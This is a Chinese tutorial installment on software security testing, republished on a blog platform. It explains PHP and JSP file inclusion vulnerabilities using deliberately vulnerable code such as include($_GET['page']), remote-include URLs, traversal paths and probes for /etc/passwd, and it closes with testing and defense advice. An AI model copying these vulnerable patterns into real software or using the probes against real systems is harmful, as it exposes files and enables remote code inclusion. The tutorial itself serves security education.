前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >软件安全性测试(连载17)

软件安全性测试(连载17)

作者头像
顾翔
发布2020-01-17 14:38:56
5300
发布2020-01-17 14:38:56
举报

顾翔老师近期推出一对一入职面试辅导。有兴趣者可加微信xianggu19720625与我联系。先要提供简历初选,合适者进一步洽谈。

顾翔老师的《软件测试技术实战设计、工具及管理》网上购买地址:

https://item.jd.com/34295655089.html

《基于Django的电子商务网站》网上购买地址:

https://item.jd.com/12082665.html

店铺二维码:

2.12文件包含漏洞

文件包含漏洞是指可以执行的文件包含有一个可以执行的文件,显示包含文件的代码内容或者可以执行的文件包含系统重要文件,显示重要文件的漏洞。

1. PHP文件包含

PHP文件包含函数如11所示。

11 PHP文件包含函数

函数

解释

require()

找不到包含文件会产生致命错误(E_COMPILE_ERROR)

include()

找不到包含文件会产生警告(E_WARNING)

require_once()

同require,该文件已经被包含,不会再次包含

include_once()

同include,该文件已经被包含,不会再次包含

1)本地包含

①可执行文件包含可执行文件

ArrayUtil.php文件代码如下。

<?php

functionprintArr($arr,$sp="-->",$lin="<br>"){

foreach($arr as $key=>$value){

echo "$key $sp $value$lin";}}

?>

index.php包含可执行文件ArrayUtil.php,且调用ArrayUtil.php内的函数printArr,代码如下。

<?php

include("ArrayUtil.php");

$arr = array("赤","橙","黄","绿","青","蓝","紫");

ptintArr($arr,"==>")

?>

运行代码index.php,结果如下。

0==>赤

1==>橙

2==>黄

3==>绿

4==>青

5==>蓝

6==>紫

这是文件包含的最基本用法。

②可执行文件包含不可执行文件

一个伪jpg文件phpinfo.jpg,其内容符合PHP规范,代码如下。

<?php

phpinfo();

?>

另一个PHP文件index.php包含这个jpg代码,代码如下。

<?php

include("phpinfo.jpg");

?>

运行index.php代码,phpinfo();代码被执行,如31所示。再来看一个例子。建立文件index1.php,代码如下。

<?php

include("..\\..\\..\\tomcat\\conf\\catalina.properties");

?>

运行这个代码,就把catalina.properties读取出来。当然如果include函数中的URL是一个绝对路径,那么系统中的重要文件就可能被获取。

2)远程包含

远程包含必须把php.ini配置文件中的allow_url_include设置为on,代码如下。

; Whether to allowinclude/require to open URLs (like http:// or ftp://) as files.

;http://php.net/allow-url-include

allow_url_include=on

在远端www.3testing.com/sec目录下存在一个php.txt文件,内容如下。

<?php

echo "Hi God!";

?>

本地文件index.php内容为。

<?php

include("$_GET['page']");

?>

在浏览器输入框中输入http://127.0.0.1:8100/.../index.php?page=http://www.3testing.com/sec/php.txt,即可获取php.txt中的输出内容Hi God!。

试图在www.3testing.com/sec目录下建立一个index1.php。

<?php

include("//etc//passwd");

?>

在浏览器输入框中输入http://127.0.0.1:8100/.../index.php?page=http://www.3testing.com/sec/index1.php,出现如下提示。

Warning: include()[function.include]: open_basedir restriction in effect. File(//etc//passwd) isnot within the allowed path(s):(/data/home/byu4550520001/:/usr/home/byu4550520001/:/data/home/tmp/:/usr/home/tmp/:/var/www/disablesite/)in /data/home/byu4550520001/htdocs/sec/index1.php on line 2

Warning: include(//etc//passwd)[function.include]: failed to open stream: Operationnot permitted in /data/home/byu4550520001/htdocs/sec/index1.php on line 2

Warning: include() [function.include]:Failed opening '//etc//passwd' for inclusion(include_path='.:/var/www/php5/lib/php') in/data/home/byu4550520001/htdocs/sec/index1.php on line 2

由于可见www.3testing.com是托管在阿里云上的,可见阿里云对于文件包含漏洞采取的措施是有效的。

3)获取当前文件所在绝对路径

通过文件包含还可以获取当前文件所在绝对路径。有这么一个PHP文件(index.php)。

<?php

if(isset($_GET['page'])){

include $_GET['page’];

}else{

include 'home.php';}

?>

home.php有一些超链接,sec是一些不存在的URL,内容如下

<li><ahref="index.php?page=home">首页</a></li>

<li><ahref="index.php?page=introduce">我的介绍</a></li>

<li><ahref="index.php?page=class">我的课程</a></li>

<li><ahref="index.php?page=paper">我的文章</a></li>

<li><ahref="index.php?page=pictures">上课图片</a></li>

<li><ahref="index.php?page=video">教学录像</a></li>

<li><ahref="index.php?page=home" target="_blank">测试之家</a></li>

访问index.php,显示home.php,点击任意一个超级链接,显示如下内容。

Warning: include(home): failedto open stream: No such file or directory in C:\xampp\htdocs\sec\7\index.php online 3

Warning: include(): Failedopening 'home' for inclusion (include_path='C:\xampp\php\PEAR') inC:\xampp\htdocs\sec\7\index.php on line 3

这样当前文件所在绝对路径就被暴露了。

2.JSP文件包含

JSP的文件包含包括静态包含和动态包含。

现在有两个文件page1.txt和page1.txt,内容分别为。

page1.txt

My name is Jerry

page2.txt

<%

out.println("My name isJerry");

%>

1)静态包含

静态包含的语法为:<%@ include file="page.txt"%>

page1.txt:<%@ includefile="page1.txt"%><br>

page2.txt:<%@ includefile="page2.txt"%><br>

显示结果如下。

page1.txt: My name is Jerry

page2.txt: My name is Jerry

由此可见静态包含执行符合jsp格式的文件。

2)动态包含

动态包含的语法为:<jsp:includepage="page.txt">

index.jsp

<%

String pages = request.getParameter("page");

%>

<jsp:includepage="<%=pages%>"></jsp:include>

在浏览器中输入:http://../index1.jsp?pages=page1.txt,显示page1内容。

My name is Jerry

在浏览器中输入:http://../index2.jsp?pages=page1.txt,显示page2内容。

<%

out.println("My name is Jerry");

%>

由此可见,动态包含可以显示jsp文件的源代码,就有一定的危险性。

3.文件包含漏洞测试方法

有效测试文件包含漏洞的方法是静态扫描和代码审查。如果发现存在代码包含漏洞,可以尝试用/etc/passwd(Linux)或c:\windows\win.ini(Windows)来尝试。另外也可以借助类似BurnSuite工具来进行文件包含漏洞的测试。

4.文件包含漏洞防护方法

文件包含漏洞的防护可以总结为以下几点。

l确保外部包含是不能被用户控制的。

l包含文件应该在同一路径下,不得包含路径,比如路径隔离符“//”,尤其不得包含或绝对路径。

l仅可能不要包含jsp的动态链接。

l做好对关键文件的文件读、写、执行权限控制,比如阿里云的措施。

l包含文件进行白名单验证。

顾翔老师与云测学院联合推出:软件测试分析与设计,请点击https://v.youku.com/v_show/id_XNDQ3MzkyNjk3Ng==.html?spm=a2hzp.8244740.0.0,收看。有不同观念欢迎与顾翔老师交流!

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-01-13,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 软件测试培训 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档